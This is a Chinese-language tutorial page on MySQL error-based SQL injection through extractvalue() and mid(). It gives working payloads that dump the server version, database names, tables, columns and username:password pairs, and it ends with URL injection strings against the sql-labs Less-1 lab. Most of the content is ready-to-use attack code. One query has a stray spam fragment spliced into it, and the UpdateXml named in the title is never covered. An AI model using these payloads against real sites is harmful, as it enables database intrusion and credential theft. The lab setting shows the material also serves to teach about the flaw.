MYSQLExtractValue、UpdateXml报错注⼊详解
MYSQL Extractvalue 报错注⼊
Extractvalue() 函数 使⽤XPath表⽰法从XML字符串中提取值
参数 xml_frag, xpath_expr
xml_frag: ⽬标xml⽂档
xpath_expr: 利⽤Xpath路径法表⽰的查路径
报错原理:Xpath格式语法书写错误的话,就会报错
例如
SELECT extractvalue('<a><b>x</b><b>y</b></a>','/a/b')as result
查询结果为
result
x y
如果第⼆个参数书写错误
SELECT extractvalue('<a><b>x</b><b>y</b></a>','#username')as result
报错如下
-- SELECT * from users WHERE id = 1 and extractvalue(1,mid(concat(0x23,(SELECT GROUP_CONCAT(username,':',`password`) from users),0x23),159,3 2))
SELECT extractvalue('<a><b>x</b><b>y</b></a>','#username') as result
> 1105 - XPATH syntax error: '#username'
> 时间: 0.001s
利⽤此特性可以实现报错注⼊
由于此报错注⼊和updatexml都只能爆最⼤32位,如果要爆出32位之后的数据,需要借助mid函数进⾏字符截取从⽽显⽰32位以后的数据
mid函数
参数描述
column_name必需。要提取字符的字段
start必需。开始位置
length可选。要返回的字符数。如果省略,则 MID() 函数返回剩余⽂本
SQL语句
爆库等相关信息
SELECT*from users WHERE id =1and
extractvalue(1,
mid(concat_ws(0x23,0x23,version(),user(),database(),@@version_compile_os,0x23),9,32))
爆库
SELECT*from users WHERE id =1and
extractvalue(1,
mid(concat(0x23,
(SELECT group_concat(schema_name)from information_schema.SCHEMATA),
0x23),50,32))
爆表
SELECT*from users WHERE id =1and
mysql下载32位extractvalue(1,
mid(concat(0x23,
(SELECT group_concat(table_name)from information_schema.tables where table_schema =database()), 0x23),1,32))
爆列
SELECT*from users WHERE id =1and
extractvalue(1,
mid(concat(0x23,
(SELECT group_concat(COLUMN_NAME)from information_schema.`COLUMNS`where table_name ='users'), 0x23),1,32))
爆字段
SELECT*from users WHERE id =1and
extractvalue(1,
mid(concat(0x23,
(SELECT GROUP_CONCAT(username,':',`password`)from users),
0x23),1,32))
sql-labs 演⽰
爆关键信息
192.168.1.101/Less-1/?id=1' and
extractvalue(1,
concat_ws(0x23,0x23,version(),user(),database(),@@version_compile_os) )%23
爆库
192.168.1.101/Less-1/?id=1'
and extractvalue(1,
mid(concat(0x23,
(SELECT group_concat(schema_name) from information_schema.SCHEMATA), 0x23),1,32))--+
爆表
192.168.1.101/Less-1/?id=1'
and extractvalue(1,
mid(concat(0x23,(SELECT group_concat(table_name) from information_schema.tables where table_
schema = database()) ,0x23),1,32))--+
爆列
192.168.1.101/Less-1/?id=1' and
extractvalue(1,
mid(concat(0x23,
(SELECT group_concat(COLUMN_NAME) from information_schema.`COLUMNS` where table_name = 'users'),
0x23),1,32))--+
爆字段
192.168.1.101/Less-1/?id=1' and
extractvalue(1,
mid(concat(0x23,
(SELECT GROUP_CONCAT(username,':',`password`) from users),
0x23),1,32))--+
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论